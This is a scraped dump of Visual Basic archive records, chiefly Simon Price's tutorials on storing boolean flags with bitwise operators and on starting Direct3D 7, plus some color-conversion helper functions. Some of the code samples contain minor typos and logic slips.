\nEnd Sub \n\n<h4>Example Program</h4>\n<img border=\"0\" src=\"http://www.vbgames.co.uk/tutorials/gdi/shapes.JPG\" width=\"648\" height=\"507\">\nThe example program demonstrates most of what has been learnt in this\ntutorial. Download and run the code, you should see several shapes and a text\nstring naming the coolest site for VB games programming on earth! Have a go at\ndrawing some more, learn them well, these basic shapes are the basis for all\nother shapes.\n<h4>Coming soon...</h4>\nWatch out for the next tutorial in this series! Next we will learn how to\nload from and save to bitmap files for persistent graphics!</body>\n</html>\n"},{"WorldId":1,"id":25738,"LineNumber":1,"line":"<html>\n<head>\n<meta http-equiv=\"Content-Type\" content=\"text/html; charset=windows-1252\">\n<meta name=\"GENERATOR\" content=\"Microsoft FrontPage 4.0\">\n<meta name=\"ProgId\" content=\"FrontPage.Editor.Document\">\n<title>Flags</title>\n</head>\n<body>\n<h1 align=\"left\">Flags, the Binary system and Logic operators.</h1>\n<h2 align=\"left\">Introduction</h2>\n\"Flags\" are often used in programming when something\ncan be either \"on\" or \"off\", in other words, a Boolean\nvariable. This tutorial describes how and why to use flags. It uses Visual Basic\nfor example code, but this technique can be applied to all languages.\n<h2 align=\"left\">An example situation</h2>\nHere is an imaginary form about the features of a futuristic\ncar.\n<form method=\"POST\" action=\"--WEBBOT-SELF--\" onSubmit>\n <table border=\"1\" width=\"100%\">\n <tr>\n <td width=\"100%\">\n Please choose an option to show which feature you would\n like on your new car:\n <input type=\"radio\" value=\"V9\" name=\"R1\"> [1] Jet boost\n <input type=\"radio\" value=\"V10\" name=\"R1\"> [2]\n Invulnerability shield\n <input type=\"radio\" value=\"V11\" name=\"R1\"> [3]\n Anti-Gravity generator\n <input type=\"radio\" value=\"V12\" name=\"R1\"> [4] Missile\n proof glass\n <input type=\"radio\" value=\"V13\" name=\"R1\"> [5] Instant\n stop brakes\n <input type=\"radio\" value=\"V14\" name=\"R1\"> [6] Super\n grip tires\n <input type=\"radio\" value=\"V15\" name=\"R1\"> [7] 10000\n horsepower engine\n <input type=\"radio\" value=\"V16\" name=\"R1\"> [8] Time warp\n drive</td>\n </tr>\n </table>\n</form>\nWe can think of each feature as a Boolean value, it is either on\nthe car, or not on the car.\nLets imagine you want to store the results to your questionnaire\nin 1 byte of data. This is simple, you just label the features from [1] through\nto [8] and save that number. Job done? Not yet! Unfortunately, this method is\nnot very clever.\n<h2 align=\"left\">The problem</h2>\nOne of your customers, Mr. Richguy, who has a lot of money to\nspend on his new car decides he wants TWO features on his car! Oh no, better\nredesign that form with checkboxes instead of radio buttons. You slave away\ndesigning your new form so that it looks like this.\n<form method=\"POST\" action=\"--WEBBOT-SELF--\" onSubmit>\n <table border=\"1\" width=\"100%\">\n <tr>\n <td width=\"100%\">\n Please choose any number of option/s to show which\n feature/s you would like on your new car:\n <input type=\"checkbox\" name=\"C1\" value=\"ON\"> [1] Jet\n boost\n <input type=\"checkbox\" name=\"C2\" value=\"ON\"> [2]\n Invulnerability shield\n <input type=\"checkbox\" name=\"C3\" value=\"ON\"> [3]\n Anti-Gravity generator\n <input type=\"checkbox\" name=\"C4\" value=\"ON\"> [4] Missile\n proof glass\n <input type=\"checkbox\" name=\"C5\" value=\"ON\"> [5] Instant\n stop brakes\n <input type=\"checkbox\" name=\"C6\" value=\"ON\"> [6] Super\n grip tires\n <input type=\"checkbox\" name=\"C7\" value=\"ON\"> [7] 10000\n horsepower engine\n <input type=\"checkbox\" name=\"C8\" value=\"ON\"> [8] Time\n warp drive</td>\n </tr>\n </table>\n</form>\nGreat! Now we can choose to have 1 feature, several features, or\nno features at all!\n<h2 align=\"left\">The quick-fix solution</h2>\nHow do we save this information? We could use an array of 8\nBoolean variables and save each one separately. That would work, but assuming\nyour code uses a whole byte to store a Boolean variable (as in C/C++/Delphi\netc., and VB I have heard uses 2 bytes!), that would take 8 bytes to store your\nresults rather than just the 1 we had before. What's that you say? You have\n512MB SD RAM and 100GB hard drive? So you don't care about this memory wastage?\nThen I shall show you another problem with this method.\nLets imagine we want to pass this information into a function.\nMaybe the function would calculate the cost of the car, given it's features. You\ncould pass the Boolean variable for each feature into the function. It might\nlook a bit like this (using VB code).\n<table border=\"1\" width=\"100%\">\n <tr>\n <td width=\"100%\">Function CostOfCar(Feature1 As Boolean, Feature2 As\n Boolean, Feature3 As Boolean, Feature4 As Boolean, Feature5 As Boolean,\n Feature6 As Boolean, Feature7 As Boolean, Feature8 As Boolean) As Integer \n Dim x As Integer \n ┬á┬á ' do something with the feature list to calculate the cost of\n the car \n ┬á┬á CostOfCar = x \n End Function</td>\n </tr>\n</table>\nDoesn't look like a very neat function does it? Rather ugly in fact.\n<h2>The smart solution</h2>\nThis is how it should be done! Using a whole byte to store a Boolean is a\nwaste. We really only need 1 bit, a 0 representing False (or off) and a 1\nrepresenting True (or on). Many of you will know how the Binary system and logic\noperations work, but I will explain it here because it is important you\nunderstand these first.\n<h3>The Binary system</h3>\nA bit can either be a 0 or a 1, on or off, true or false. A byte consists of\n8 bits. Each bit in the byte represents a different power of 2. In this way, a\nbyte can store any number from 0 to 255. This table shows some examples. Note\nthat the \"^\" sign stands for \"to the power of\".\n<table border=\"1\" width=\"100%\">\n <tr>\n <td width=\"11%\">Bit1</td>\n <td width=\"11%\">Bit2</td>\n <td width=\"11%\">Bit3</td>\n <td width=\"11%\">Bit4</td>\n <td width=\"11%\">Bit5</td>\n <td width=\"11%\">Bit6</td>\n <td width=\"11%\">Bit7</td>\n <td width=\"11%\">Bit8</td>\n <td width=\"12%\">Byte</td>\n </tr>\n <tr>\n <td width=\"11%\">2^0=1</td>\n <td width=\"11%\">2^1=2</td>\n <td width=\"11%\">2^2=4</td>\n <td width=\"11%\">2^3=8</td>\n <td width=\"11%\">2^4=16</td>\n <td width=\"11%\">2^5=32</td>\n <td width=\"11%\">2^6=64</td>\n <td width=\"11%\">2^7=128</td>\n <td width=\"12%\">Total</td>\n </tr>\n <tr>\n <td width=\"11%\">0</td>\n <td width=\"11%\">0</td>\n <td width=\"11%\">0</td>\n <td width=\"11%\">0</td>\n <td width=\"11%\">0</td>\n <td width=\"11%\">0</td>\n <td width=\"11%\">0</td>\n <td width=\"11%\">0</td>\n <td width=\"12%\">0</td>\n </tr>\n <tr>\n <td width=\"11%\">1</td>\n <td width=\"11%\">0</td>\n <td width=\"11%\">0</td>\n <td width=\"11%\">0</td>\n <td width=\"11%\">0</td>\n <td width=\"11%\">0</td>\n <td width=\"11%\">0</td>\n <td width=\"11%\">0</td>\n <td width=\"12%\">1</td>\n </tr>\n <tr>\n <td width=\"11%\">1</td>\n <td width=\"11%\">0</td>\n <td width=\"11%\">1</td>\n <td width=\"11%\">0</td>\n <td width=\"11%\">1</td>\n <td width=\"11%\">0</td>\n <td width=\"11%\">0</td>\n <td width=\"11%\">0</td>\n <td width=\"12%\">21</td>\n </tr>\n <tr>\n <td width=\"11%\">0</td>\n <td width=\"11%\">1</td>\n <td width=\"11%\">1</td>\n <td width=\"11%\">1</td>\n <td width=\"11%\">1</td>\n <td width=\"11%\">0</td>\n <td width=\"11%\">0</td>\n <td width=\"11%\">0</td>\n <td width=\"12%\">30</td>\n </tr>\n <tr>\n <td width=\"11%\">1</td>\n <td width=\"11%\">0</td>\n <td width=\"11%\">0</td>\n <td width=\"11%\">0</td>\n <td width=\"11%\">0</td>\n <td width=\"11%\">0</td>\n <td width=\"11%\">0</td>\n <td width=\"11%\">1</td>\n <td width=\"12%\">129</td>\n </tr>\n <tr>\n <td width=\"11%\">0</td>\n <td width=\"11%\">1</td>\n <td width=\"11%\">1</td>\n <td width=\"11%\">0</td>\n <td width=\"11%\">0</td>\n <td width=\"11%\">0</td>\n <td width=\"11%\">0</td>\n <td width=\"11%\">1</td>\n <td width=\"12%\">134</td>\n </tr>\n <tr>\n <td width=\"11%\">0</td>\n <td width=\"11%\">0</td>\n <td width=\"11%\">0</td>\n <td width=\"11%\">0</td>\n <td width=\"11%\">0</td>\n <td width=\"11%\">0</td>\n <td width=\"11%\">1</td>\n <td width=\"11%\">1</td>\n <td width=\"12%\">194</td>\n </tr>\n <tr>\n <td width=\"11%\">1</td>\n <td width=\"11%\">0</td>\n <td width=\"11%\">0</td>\n <td width=\"11%\">1</td>\n <td width=\"11%\">1</td>\n <td width=\"11%\">1</td>\n <td width=\"11%\">1</td>\n <td width=\"11%\">1</td>\n <td width=\"12%\">249</td>\n </tr>\n <tr>\n <td width=\"11%\">1</td>\n <td width=\"11%\">1</td>\n <td width=\"11%\">1</td>\n <td width=\"11%\">1</td>\n <td width=\"11%\">1</td>\n <td width=\"11%\">1</td>\n <td width=\"11%\">1</td>\n <td width=\"11%\">1</td>\n <td width=\"12%\">255</td>\n </tr>\n</table>\n<h3>Logical Operations</h3>\nThe logical operators I will demonstrate here (there are more) are And &\nOr. All logic operators work on a bit level.\nThe And operator takes two bits (we will call Bit1 and Bit2), and returns a 1\nonly if Bit1 AND Bit2 are 1. This table shows all the possible outcomes of the\nAnd operator.\n<table border=\"1\" width=\"100%\">\n <tr>\n <td width=\"33%\">Bit1</td>\n <td width=\"33%\">Bit2</td>\n <td width=\"34%\">Bit1 And Bit2</td>\n </tr>\n <tr>\n <td width=\"33%\">0</td>\n <td width=\"33%\">0</td>\n <td width=\"34%\">0</td>\n </tr>\n <tr>\n <td width=\"33%\">0</td>\n <td width=\"33%\">1</td>\n <td width=\"34%\">0</td>\n </tr>\n <tr>\n <td width=\"33%\">1</td>\n <td width=\"33%\">0</td>\n <td width=\"34%\">0</td>\n </tr>\n <tr>\n <td width=\"33%\">1</td>\n <td width=\"33%\">1</td>\n <td width=\"34%\">1</td>\n </tr>\n</table>\nThe Or operator takes two bits (again, Bit1 and Bit2), and returns a 1 if\neither Bit1 OR Bit2 are 1. This table shows all the possible outcomes of the Or\noperator.\n<table border=\"1\" width=\"100%\">\n <tr>\n <td width=\"33%\">Bit1</td>\n <td width=\"33%\">Bit2</td>\n <td width=\"34%\">Bit1 Or Bit2</td>\n </tr>\n <tr>\n <td width=\"33%\">0</td>\n <td width=\"33%\">0</td>\n <td width=\"34%\">0</td>\n </tr>\n <tr>\n <td width=\"33%\">0</td>\n <td width=\"33%\">1</td>\n <td width=\"34%\">1</td>\n </tr>\n <tr>\n <td width=\"33%\">1</td>\n <td width=\"33%\">0</td>\n <td width=\"34%\">1</td>\n </tr>\n <tr>\n <td width=\"33%\">1</td>\n <td width=\"33%\">1</td>\n <td width=\"34%\">1</td>\n </tr>\n</table>\nAs I said before, logical operators work on bits. So how comes this code is\nvalid?\n<table border=\"1\" width=\"100%\">\n <tr>\n <td width=\"100%\">' declare some byte variables\n Dim Byte1 As Byte\n Dim Byte2 As Byte\n Dim ByteResult As Byte\n ' give the bytes some values\n Byte1 = 51\n Byte2 = 219\n ' use the or operator\n ByteResult = ( Byte1 Or Byte2)\n ' show the result in the debug window\n Debug.Print ByteResult\n ' use the and operator\n ByteResult = ( Byte1 And Byte2)\n ' show the result in the debug window\n Debug.Print ByteResult</td>\n </tr>\n</table>\nThis code works because the Or & And operators are working on each bit of\neach byte. Here is how the and Or operation worked.\n<table border=\"1\" width=\"100%\">\n <tr>\n <td width=\"11%\">Bit</td>\n <td width=\"11%\">Bit1</td>\n <td width=\"11%\">Bit2</td>\n <td width=\"11%\">Bit3</td>\n <td width=\"11%\">Bit4</td>\n <td width=\"11%\">Bit5</td>\n <td width=\"11%\">Bit6</td>\n <td width=\"11%\">Bit7</td>\n <td width=\"12%\">Bit8</td>\n <td width=\"12%\">Total</td>\n </tr>\n <tr>\n <td width=\"11%\">Value</td>\n <td width=\"11%\">[1]</td>\n <td width=\"11%\">[2]</td>\n <td width=\"11%\">[4]</td>\n <td width=\"11%\">[8]</td>\n <td width=\"11%\">[16]</td>\n <td width=\"11%\">[32]</td>\n <td width=\"11%\">[64]</td>\n <td width=\"12%\">[128]</td>\n <td width=\"12%\">[255]</td>\n </tr>\n <tr>\n <td width=\"11%\">Byte1</td>\n <td width=\"11%\">1</td>\n <td width=\"11%\">1</td>\n <td width=\"11%\">0</td>\n <td width=\"11%\">0</td>\n <td width=\"11%\">1</td>\n <td width=\"11%\">1</td>\n <td width=\"11%\">0</td>\n <td width=\"12%\">0</td>\n <td width=\"12%\">51</td>\n </tr>\n <tr>\n <td width=\"11%\">Byte2</td>\n <td width=\"11%\">1</td>\n <td width=\"11%\">1</td>\n <td width=\"11%\">0</td>\n <td width=\"11%\">1</td>\n <td width=\"11%\">1</td>\n <td width=\"11%\">0</td>\n <td width=\"11%\">1</td>\n <td width=\"12%\">1</td>\n <td width=\"12%\">219</td>\n </tr>\n <tr>\n <td width=\"11%\">Byte1 Or Byte2</td>\n <td width=\"11%\">1</td>\n <td width=\"11%\">1</td>\n <td width=\"11%\">0</td>\n <td width=\"11%\">1</td>\n <td width=\"11%\">1</td>\n <td width=\"11%\">1</td>\n <td width=\"11%\">1</td>\n <td width=\"12%\">1</td>\n <td width=\"12%\">251</td>\n </tr>\n</table>\nAnd this is how the And operation worked.\n<table border=\"1\" width=\"100%\">\n <tr>\n <td width=\"11%\">Bit</td>\n <td width=\"11%\">Bit1</td>\n <td width=\"11%\">Bit2</td>\n <td width=\"11%\">Bit3</td>\n <td width=\"11%\">Bit4</td>\n <td width=\"11%\">Bit5</td>\n <td width=\"11%\">Bit6</td>\n <td width=\"11%\">Bit7</td>\n <td width=\"12%\">Bit8</td>\n <td width=\"12%\">Total</td>\n </tr>\n <tr>\n <td width=\"11%\">Value</td>\n <td width=\"11%\">[1]</td>\n <td width=\"11%\">[2]</td>\n <td width=\"11%\">[4]</td>\n <td width=\"11%\">[8]</td>\n <td width=\"11%\">[16]</td>\n <td width=\"11%\">[32]</td>\n <td width=\"11%\">[64]</td>\n <td width=\"12%\">[128]</td>\n <td width=\"12%\">[255]</td>\n </tr>\n <tr>\n <td width=\"11%\">Byte1</td>\n <td width=\"11%\">1</td>\n <td width=\"11%\">1</td>\n <td width=\"11%\">0</td>\n <td width=\"11%\">0</td>\n <td width=\"11%\">1</td>\n <td width=\"11%\">1</td>\n <td width=\"11%\">0</td>\n <td width=\"12%\">0</td>\n <td width=\"12%\">51</td>\n </tr>\n <tr>\n <td width=\"11%\">Byte2</td>\n <td width=\"11%\">1</td>\n <td width=\"11%\">1</td>\n <td width=\"11%\">0</td>\n <td width=\"11%\">1</td>\n <td width=\"11%\">1</td>\n <td width=\"11%\">0</td>\n <td width=\"11%\">1</td>\n <td width=\"12%\">1</td>\n <td width=\"12%\">219</td>\n </tr>\n <tr>\n <td width=\"11%\">Byte1 Or Byte2</td>\n <td width=\"11%\">1</td>\n <td width=\"11%\">1</td>\n <td width=\"11%\">0</td>\n <td width=\"11%\">0</td>\n <td width=\"11%\">1</td>\n <td width=\"11%\">0</td>\n <td width=\"11%\">0</td>\n <td width=\"12%\">0</td>\n <td width=\"12%\">19</td>\n </tr>\n</table>\nIf you have VB and ran this code, you should find the results 251 and 19 in\nyour debug window.\n<h3>Applying your new knowledge!</h3>\nGetting a bit bored of all these tables of 0's and 1's? Don't worry, you\ndidn't read all that for nothing! Lets go back to the problem of storing car\nfeatures. Instead of assigning each feature a value from [1] to [8], we instead\nuse [2^0] to [2^7], like this.\n<form method=\"POST\" action=\"--WEBBOT-SELF--\" onSubmit>\n <table border=\"1\" width=\"100%\">\n <tr>\n <td width=\"100%\">\n Please choose any option/s to show which feature/s you\n would like on your new car:\n <input type=\"checkbox\" name=\"C1\" value=\"ON\"> [2^0=1] Jet\n boost\n <input type=\"checkbox\" name=\"C2\" value=\"ON\"> [2^1=2]\n Invulnerability shield\n <input type=\"checkbox\" name=\"C3\" value=\"ON\"> [2^2=4]\n Anti-Gravity generator\n <input type=\"checkbox\" name=\"C4\" value=\"ON\"> [2^3=8]\n Missile proof glass\n <input type=\"checkbox\" name=\"C5\" value=\"ON\"> [2^4=16]\n Instant stop brakes\n <input type=\"checkbox\" name=\"C6\" value=\"ON\"> [2^5=32]\n Super grip tires\n <input type=\"checkbox\" name=\"C7\" value=\"ON\"> [2^6=64]\n 10000 horsepower engine\n <input type=\"checkbox\" name=\"C8\" value=\"ON\"> [2^7=128]\n Time warp drive</td>\n </tr>\n </table>\n</form>\nNow, we use an enumeration to store the possible features. In Visual Basic,\nit would look something like this.\n<table border=\"1\" width=\"100%\">\n <tr>\n <td width=\"100%\">Enum CAR_FEATURE\n ┬á┬á CF_JETBOOST = 1\n ┬á┬á CF_SHIELD = 2\n ┬á┬á CF_ANTIGRAVITY = 4\n ┬á┬á CF_GLASS = 8\n ┬á┬á CF_BRAKES = 16\n ┬á┬á CF_TIRES = 32\n ┬á┬á CF_ENGINE = 64\n ┬á┬á CF_TIMEWARP = 128\n End Enum</td>\n </tr>\n</table>\nNow we can store 8 features into just 1 byte! To do this, we just add all the\nfeatures up, using the + operator. For example, Mr. Richguy comes back to your\nonline car showroom now you have improved it to allow for multiple features, and\ndecides to buy a new car with jet boost, a shield, super grip tires and a time\nwarp.\n┬á\n<table border=\"1\" width=\"100%\">\n <tr>\n <td width=\"100%\">\n Dim Features As Byte\n Features = CF_JETBOOST + CF_SHIELD + CF_TIRES + CD_TIMEWARP\n Debug.Print Features</td>\n </tr>\n</table>\nThis code stores all the features Mr. Richguy requested in a single byte, of\nvalue 163, which could be saved in a file, or sent to function to add up the\ncost, or anything else you'd like to do with it.\nYou new function to calculate the cost would look much simpler, something\nlike this.\n<table border=\"1\" width=\"100%\">\n <tr>\n <td width=\"100%\">Function CostOfCar(Features As Byte) As Integer \n Dim x As Integer \n ┬á┬á ' do something with the features byte to calculate the cost\n of the car \n ┬á┬á CostOfCar = x \n End Function</td>\n </tr>\n</table>\nNote how each feature is actually represented by one of the bits in your\nbyte.\nHowever, there comes a time when you want to reverse the operation and get\nthe features back out of the byte variable, such as when you load a file, or the\nfunction parses the features etc. How is this done? I didn't mention logic\noperators for nothing!\nImagine our function wants to test if there are super grip tires to be put\nonto the new car. What we would need to do is test whether the CF_TIRES was in\nthe byte. The number 32 (=2^5) is represented by Bit6 of your byte. To check is\nBit6 is present (=1), you can use the And operator. For example:\n<table border=\"1\" width=\"100%\">\n <tr>\n <td width=\"100%\">' see whether the car has super grip tires\n If (Features And CF_TIRES = CF_TIRES) Then\n ┬á┬á ' do something, like add some cost according to the size\n of the wheels etc.\n End If</td>\n </tr>\n</table>\nSo how did this work? Well, what we did was to see whether And'ing the\nfeatures with tires caused the result of tires. To see why this works, look at\nthe table.\n<table border=\"1\" width=\"100%\">\n <tr>\n <td width=\"11%\">┬á</td>\n <td width=\"11%\">Bit1</td>\n <td width=\"11%\">Bit2</td>\n <td width=\"11%\">Bit3</td>\n <td width=\"11%\">Bit4</td>\n <td width=\"11%\">Bit5</td>\n <td width=\"11%\">Bit6</td>\n <td width=\"11%\">Bit7</td>\n <td width=\"12%\">Bit8</td>\n <td width=\"12%\">Total</td>\n </tr>\n <tr>\n <td width=\"11%\">Features</td>\n <td width=\"11%\">1</td>\n <td width=\"11%\">1</td>\n <td width=\"11%\">0</td>\n <td width=\"11%\">0</td>\n <td width=\"11%\">0</td>\n <td width=\"11%\">1</td>\n <td width=\"11%\">0</td>\n <td width=\"12%\">1</td>\n <td width=\"12%\">163</td>\n </tr>\n <tr>\n <td width=\"11%\">CF_TIRES</td>\n <td width=\"11%\">0</td>\n <td width=\"11%\">0</td>\n <td width=\"11%\">0</td>\n <td width=\"11%\">0</td>\n <td width=\"11%\">0</td>\n <td width=\"11%\">1</td>\n <td width=\"11%\">0</td>\n <td width=\"12%\">0</td>\n <td width=\"12%\">32</td>\n </tr>\n <tr>\n <td width=\"11%\">Features And CF_TIRES</td>\n <td width=\"11%\">0</td>\n <td width=\"11%\">0</td>\n <td width=\"11%\">0</td>\n <td width=\"11%\">0</td>\n <td width=\"11%\">0</td>\n <td width=\"11%\">1</td>\n <td width=\"11%\">0</td>\n <td width=\"12%\">0</td>\n <td width=\"12%\">32</td>\n </tr>\n</table>\nIn a similar way, the Or operator could have been used to find whether tires\nwere in the features byte.\n<table border=\"1\" width=\"100%\">\n <tr>\n <td width=\"100%\">' see whether the car has super grip tires\n If (Features Or CF_TIRES) = Features Then\n ┬á┬á ' do something, like add some cost according to the size\n of the wheels etc.\n End If</td>\n </tr>\n</table>\nSo how did it work again? Well, what we did was to see whether Or'ing the\nfeatures with tires caused the result of features. To see why this also works,\nlook at the table.\n<table border=\"1\" width=\"100%\">\n <tr>\n <td width=\"11%\">┬á</td>\n <td width=\"11%\">Bit1</td>\n <td width=\"11%\">Bit2</td>\n <td width=\"11%\">Bit3</td>\n <td width=\"11%\">Bit4</td>\n <td width=\"11%\">Bit5</td>\n <td width=\"11%\">Bit6</td>\n <td width=\"11%\">Bit7</td>\n <td width=\"12%\">Bit8</td>\n <td width=\"12%\">Total</td>\n </tr>\n <tr>\n <td width=\"11%\">Features</td>\n <td width=\"11%\">1</td>\n <td width=\"11%\">1</td>\n <td width=\"11%\">0</td>\n <td width=\"11%\">0</td>\n <td width=\"11%\">0</td>\n <td width=\"11%\">1</td>\n <td width=\"11%\">0</td>\n <td width=\"12%\">1</td>\n <td width=\"12%\">163</td>\n </tr>\n <tr>\n <td width=\"11%\">CF_TIRES</td>\n <td width=\"11%\">0</td>\n <td width=\"11%\">0</td>\n <td width=\"11%\">0</td>\n <td width=\"11%\">0</td>\n <td width=\"11%\">0</td>\n <td width=\"11%\">1</td>\n <td width=\"11%\">0</td>\n <td width=\"12%\">0</td>\n <td width=\"12%\">32</td>\n </tr>\n <tr>\n <td width=\"11%\">Features And CF_TIRES</td>\n <td width=\"11%\">1</td>\n <td width=\"11%\">1</td>\n <td width=\"11%\">0</td>\n <td width=\"11%\">0</td>\n <td width=\"11%\">0</td>\n <td width=\"11%\">1</td>\n <td width=\"11%\">0</td>\n <td width=\"12%\">1</td>\n <td width=\"12%\">163</td>\n </tr>\n</table>\nIt doesn't really matter whether you use the And operator or the Or operator\nto do this, but this process is often called \"Masking\" bits.\n<h2>Summary</h2>\nYou have learnt about storing multiple Boolean variables (\"flags\")\nin a byte, why you should do that, and how to apply that to a real programming\nsituation.\n<h2>More Ideas...</h2>\nWhat's that? Your new super high-tech futuristic cars have up to 16 available\nfeatures? No problem!\nYou can apply all the same techniques using 16 bit (= 2 byte) numbers, often\ncalled integers.\nAnd so on... you could store 32 flags in a 32 bit (= 4 byte) integer (often\ncalled a long integer).\nIf you want another example of how to apply these techniques, I will tell you\nabout why I got the idea for this tutorial. I am working on several card games\nby contract and my main task is to write a general, reusable ActiveX DLL which\ncan be used in all the card games. One of the features is to provide varied\nanimations on the cards, such as translation, spinning, resizing etc. Sometimes\nyou will want to apply more than one animation at once. To call the DLL to\nperform an animation, you can write code as simple as this:\nStartAnimation (MOVE + SPIN + RESIZE)\nThe DLL can then figure out which flags were passed to it all in one go.\nNotice how you have just told the card to move, spin and resize in just one line\nof code. So apart from the run time advantages of using flags, this also makes\nit easier for programmers using the DLL.\n<h4>Tutorial by Simon Price 31/07/01</h4>\n<a href=\"mailto:Simon@VBgames.co.uk\">Simon@VBgames.co.uk</a>\n<a href=\"http://www.VBgames.co.uk\">http://www.VBgames.co.uk</a>\n</body>\n</html>\n"},{"WorldId":1,"id":26213,"LineNumber":1,"line":"' *** COLOR CONVERSTION FUNCTIONS ***\n' this is the main function, all the other converstion functions play off this 1\n' accepted input hex formats: &H######, ######, #*****\n' NOT: &H#***** !!! (i hope no1 would use that anyway)\nPublic Sub Hex2RGB(strHexColor As String, r As Byte, g As Byte, b As Byte)\nDim HexColor As String\nDim i As Byte\nOn Error Resume Next\n ' make sure the string is 6 characters long\n ' (it may have been given in &H###### format, we want ######)\n strHexColor = Right((strHexColor), 6)\n ' however, it may also have been given as or #***** format, so add 0's in front\n For i = 1 To (6 - Len(strHexColor))\n HexColor = HexColor & \"0\"\n Next\n HexColor = HexColor & strHexColor\n ' convert each set of 2 characters into bytes, using vb's cbyte function\n r = CByte(\"&H\" & Right$(HexColor, 2))\n g = CByte(\"&H\" & Mid$(HexColor, 3, 2))\n b = CByte(\"&H\" & Left$(HexColor, 2))\nEnd Sub\nPublic Function RGB2Hex(r As Byte, g As Byte, b As Byte) As String\nOn Error Resume Next\n ' convert to long using vb's rgb function, then use the long2rgb function\n RGB2Hex = Long2Hex(RGB(r, g, b))\nEnd Function\nPublic Sub Long2RGB(LongColor As Long, r As Byte, g As Byte, b As Byte)\nOn Error Resume Next\n ' convert to hex using vb's hex function, then use the hex2rgb function\n Hex2RGB (Hex(LongColor))\nEnd Sub\nPublic Function RGB2Long(r As Byte, g As Byte, b As Byte) As Long\nOn Error Resume Next\n ' use vb's rgb function\n RGB2Long = RGB(r, g, b)\nEnd Function\nPublic Function Long2Hex(LongColor As Long) As String\nOn Error Resume Next\n ' use vb's hex function\n Long2Hex = Hex(LongColor)\nEnd Function\nPublic Function Hex2Long(strHexColor As String) As Long\nDim r As Byte\nDim g As Byte\nDim b As Byte\nOn Error Resume Next\n ' use the hex2rgb function to get the red green and blue bytes\n Hex2RGB strHexColor, r, g, b\n ' convert to long using vb's rgb function\n Hex2Long = RGB(r, g, b)\nEnd Function\n"},{"WorldId":1,"id":11512,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":11635,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":11924,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":11916,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":12273,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":12451,"LineNumber":1,"line":"<h1 align=\"center\"><a name=\"lesson\">An Introduction To Direct3D</a></h1>\n<h4 align=\"center\">By <a href=\"mailto:Si@VBgames.co.uk\">Simon Price</a></h4>\n<h3 align=\"left\">Tutorial Breakdown</h3>\nThis tutorial will consist of the following steps :\n<ul>\n <li>\n <a href=\"#explain\">Explanation</a> of what Direct3D does and how you can use it\n from Visual Basic</li>\n <li>\n <a href=\"#demonstate\">Definitions</a> of all the objects, types and enumerations you\n will need to know to get started</li>\n <li>\n <a href=\"#imitate\">Example</a> source code with heavy commenting</li>\n <li>\n <a href=\"#practice\">Summary</a> of what you have learnt</li>\n <li>\n <a href=\"#bingo\">Exercises</a> to make you remember it all</li>\n</ul>\n<h3 align=\"left\"><a name=\"explain\">Direct3D Overview</a></h3>\nDirect3D is a part of DirectX. This tutorial is specific to\nDirect3D 7, so you will need DirectX 7.0 or higher if you are planning to use\nwhat you learn here. DirectX has a component called DirectDraw, which is used to\nperform graphics functions at a lower level that Windows GDI. If you have never\nused DirectDraw before, I suggest you look at my tutorial "An Introduction\nTo DirectDraw", available on this site, or <a href=\"http://www.VBgames.co.uk\">my\nwebsite</a>. Direct3D (D3D) has two main parts - Immediate Mode and Retained\nMode. This tutorial deals with Immediate Mode only. Immediate Mode (IM) is built\non top of DirectDraw. That means it uses DirectDraw to place graphics on the\nscreen, or in memory. D3D Retained Mode (RM) is built on top of D3D IM.\nTherefore, D3D RM is not as efficient as D3D IM. This is why I have chosen to\nlearn D3D IM. However, I do not claim that one is better than the other, just\nthat IM is faster and RM is easier to learn and create applications very quickly\nwith. If you learn IM, heavy vector mathematics and slow development is involved\nbut you will be rewarded with more power and control. The choice is yours. If\nyou still want to learn IM, then read on.\nDirect3D has a job - to give programmers a common interface for\nall 3D devices. In English - no matter what computer your application runs on,\nwhether it has a Voodoo Mega Wicked 10000 3D accelerator or a Omega Budget 256\nColor Economy VGA card, you still use the same objects to program with. It means\nthat you don't have to learn about how every graphics card works for your\napplication to work on every computer. Direct3D also provides software\nemulation. This means that if half your users have hardware acceleration, and\nhalf don't, you can use hardware if available and then fall back to using\nDirect3D software emulation if the hardware is not available. Of course software\nemulation is alot slower.\nIt's time to start Visual Basic! Create a new project and called\nit something imaginative like "D3Dintro.vbp". Next, click Project -> References\nand a dialog box will show a list of references your project uses. If you have\ninstalled the DirectX7 For Visual Basic type library, scroll down to it and\ncheck the check box next to it. Click OK to add the reference. Now Visual Basic\nknows every single class, type and enumeration you need to use DirectX7. If you\ndo not have the DirectX 7 For Visual Basic Type Library, you can download it\nfrom <a href=\"http://www.microsoft.com\">www.microsoft.com</a> .\n<h3 align=\"left\"><a name=\"demonstate\">Get on with the programming!</a></h3>\nHere are the declarations you will need for the tutorial\nprograms, with a short explanation as to what they are all about. First the\nobjects followed by the types.\n<ul>\n <li>\n DirectX7 - this is the great big daddy of them all!\n It is from the DirectX7 object that you will create all the other objects,\n including DirectDraw and Direct3D. Note the use of the New keyword, meaning\n that your application puts aside the memory to create a new instance of this\n object.</li>\n</ul>\n<div align=\"left\">\n <pre align=\"left\">Dim DX As New DirectX7</pre>\n</div>\n<ul>\n <li>\n DirectDraw7 - this is the base of all the graphics\n functionality that DirectX provides, including Direct3D7. Note the omission\n of the New keyword, since you do not create this object, but DirectX does.</li>\n</ul>\n<div align=\"left\">\n <pre align=\"left\">Dim DDRAW As DirectDraw7</pre>\n</div>\n<ul>\n <li>\n DirectDrawSurface7 - this is an object created by\n DirectDraw to represent a piece of memory. You will need a primary and\n backbuffer surface. The primary surface represents the actual graphics on\n the screen, the backbuffer is a surface to draw our whole image onto before\n we copy it to the primary surface.</li>\n</ul>\n<div align=\"left\">\n <pre align=\"left\">Dim Primary As DirectDrawSurface7</pre>\n</div>\n<div align=\"left\">\n <pre align=\"left\">Dim Backbuffer As DirectDrawSurface7</pre>\n</div>\n<ul>\n <li>\n DirectDrawClipper - this is used to clip areas,\n meaning that if you try draw outside the clipping boundaries, nothing will\n be drawn. This is useful in Windows so that you don't make a mess all over\n bits of screen that don't belong to your application.</li>\n</ul>\n<div align=\"left\">\n <pre align=\"left\">Dim Clipper As DirectDrawClipper</pre>\n</div>\n<ul>\n <li>\n Direct3D7 - this is based upon DirectDraw. It\n provides all the 3D functionality you will 